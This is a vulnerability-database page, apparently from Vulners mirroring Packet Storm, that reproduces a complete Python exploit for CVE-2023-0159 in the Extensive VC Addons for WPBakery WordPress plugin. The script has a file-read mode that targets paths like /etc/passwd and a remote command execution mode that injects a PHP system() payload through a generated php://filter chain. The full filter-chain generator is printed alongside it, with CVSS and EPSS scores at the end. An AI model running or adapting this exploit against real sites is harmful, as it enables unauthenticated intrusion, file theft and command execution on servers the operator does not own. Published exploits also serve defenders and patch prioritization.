Lucene search
K

WordPress Extensive VC Addons for WPBakery Page Builder 1.9.0 Code Execution

🗓️ 24 Mar 2025 00:00:00Reported by RavinaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 200 Views

CVE-2023-0159 allows unauthenticated remote code execution on WPBakery VC Addons < 1.9.1.

Related
Code
# Exploit Title: Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE
    # Date: 12 march 2025
    # Exploit Author: Ravina
    # Vendor Homepage: wprealize
    # Version: 1.9.1
    # Tested on: windows, linux
    # CVE ID : CVE-2023-0159
    # Vulnerability Type: Remote Code Execution
    
    ------------------------------------------------
    # CVE-2023-0159_scan.py 
    
    #!/usr/bin/env python3
    # LFI: ./exploit.py --mode lfi --target https://vuln-site.com --file /etc/passwd
    # RCE: ./exploit.py --mode rce --target https://vuln-site.com --command "id" --generator /path/to/php_filter_chain_generator.py
    
    import argparse
    import requests
    import base64
    import subprocess
    import time
    import php_filter_chain_generator
    
    def run_lfi(target, file_path):
        url = f"{target}/wp-admin/admin-ajax.php"
        payload = {
            'action': 'extensive_vc_init_shortcode_pagination',
            'options[template]': f'php://filter/convert.base64-encode/resource={file_path}'
        }
        
        try:
            response = requests.post(url, data=payload)
            if response.status_code == 200 and '{"status":"success","message":"Items are loaded","data":' in response.text:
                try:
                    json_data = response.json()
                    base64_content = json_data['data']['items']
                    decoded = base64.b64decode(base64_content).decode()
                    print(f"\n[+] Successfully read {file_path}:\n")
                    print(decoded)
                except Exception as e:
                    print(f"[-] Decoding failed: {str(e)}")
                    print(f"Raw response (truncated): {response.text[:500]}...")
            else:
                print(f"[-] LFI failed (Status: {response.status_code})")
        except Exception as e:
            print(f"[-] Request failed: {str(e)}")
    
    def run_rce(target, command, generator_path):
        # Base64 encode command to handle special characters
        encoded_cmd = base64.b64encode(command.encode()).decode()
        php_code = f'<?php system(base64_decode("{encoded_cmd}")); ?>'
        
        # Generate filter chain
        try:
            result = subprocess.run(
                [generator_path, '--chain', php_code],
                capture_output=True,
                text=True,
                check=True
            )
            payload = None
            for line in result.stdout.split('\n'):
                if line.startswith('php://filter'):
                    payload = line.strip()
                    break
            
            if not payload:
                print("[-] Failed to generate payload")
                return
    
            url = f"{target}/wp-admin/admin-ajax.php"
            data = {'action': 'extensive_vc_init_shortcode_pagination', 'options[template]': payload}
            
            print(f"[*] Sending payload for command: {command}")
            start_time = time.time()
            # Send the request to attempt RCE and dont forget to pass the generator path
            response = requests.post(url, data=data)
            elapsed = time.time() - start_time
            
            print(f"\n[+] Response time: {elapsed:.2f} seconds")
            print(f"[+] Status code: {response.status_code}")
            
            if response.status_code == 200:
                print("\n[+] Response content:")
                print(response.text[:1000] + ("..." if len(response.text) > 1000 else ""))
                
        except subprocess.CalledProcessError as e:
            print(f"[-] Filter chain generator failed: {e.stderr}")
        except FileNotFoundError:
            print(f"[-] Generator not found at {generator_path}")
        except Exception as e:
            print(f"[-] RCE failed: {str(e)}")
    
    def main():
        parser = argparse.ArgumentParser(description="CVE-2023-0159 Exploit Script")
        parser.add_argument("--mode", choices=["lfi", "rce"], required=True, help="Exploit mode")
        parser.add_argument("--target", required=True, help="Target URL (e.g., https://example.com)")
        parser.add_argument("--file", help="File path for LFI mode")
        parser.add_argument("--command", help="Command to execute for RCE mode")
        parser.add_argument("--generator", default="php_filter_chain_generator.py", 
                          help="Path to php_filter_chain_generator.py")
        
        args = parser.parse_args()
        
        if args.mode == "lfi":
            if not args.file:
                print("[-] Missing --file argument for LFI mode")
                return
            run_lfi(args.target.rstrip('/'), args.file)
        elif args.mode == "rce":
            if not args.command:
                print("[-] Missing --command argument for RCE mode")
                return
            run_rce(args.target.rstrip('/'), args.command, args.generator)
    
    if __name__ == "__main__":
        main()
    
    ------------------------------------------
    
    # php_filter_chain_generator.py
    
    #!/usr/bin/env python3
    import argparse
    import base64
    import re
    
    
    # No need to guess a valid filename anymore
    file_to_use = "php://temp"
    
    conversions = {
        '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
        '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
        '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
        '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
        '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
        '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
        '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
        '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
        '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
        'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
        'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
        'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
        'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
        'C': 'convert.iconv.UTF8.CSISO2022KR',
        'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
        'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
        'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
        'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
        'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
        'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
        'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
        'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
        'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
        'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
        'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
        'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
        'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
        'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
        'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
        'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
        'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
        'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
        'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
        'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
        'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
        'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
        'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
        'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
        'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
        'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
        'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
        'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
        'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
        'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
        'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
        'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
        's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
        'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
        't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
        'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
        'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
        'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
        'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
        'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
        'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
        'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
        'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
        'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
        'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
        'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
        'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
        '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
        '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
        '=': ''
    }
    
    def generate_filter_chain(chain, debug_base64 = False):
    
        encoded_chain = chain
        # generate some garbage base64
        filters = "convert.iconv.UTF8.CSISO2022KR|"
        filters += "convert.base64-encode|"
        # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
        filters += "convert.iconv.UTF8.UTF7|"
    
    
        for c in encoded_chain[::-1]:
            filters += conversions[c] + "|"
            # decode and reencode to get rid of everything that isn't valid base64
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            # get rid of equal signs
            filters += "convert.iconv.UTF8.UTF7|"
        if not debug_base64:
            # don't add the decode while debugging chains
            filters += "convert.base64-decode"
    
        final_payload = f"php://filter/{filters}/resource={file_to_use}"
        return final_payload
    
    def main():
    
        # Parsing command line arguments
        parser = argparse.ArgumentParser(description="PHP filter chain generator.")
    
        parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
        parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
        args = parser.parse_args()
        if args.chain is not None:
            chain = args.chain.encode('utf-8')
            base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
            chain = generate_filter_chain(base64_value)
            print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
            print(chain)
        if args.rawbase64 is not None:
            rawbase64 = args.rawbase64.replace("=", "")
            match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
            if (match):
                chain = generate_filter_chain(rawbase64, True)
                print(chain)
            else:
                print ("[-] Base64 string required.")
                exit(1)
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Mar 2025 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 3.17.5
EPSS0.92658
200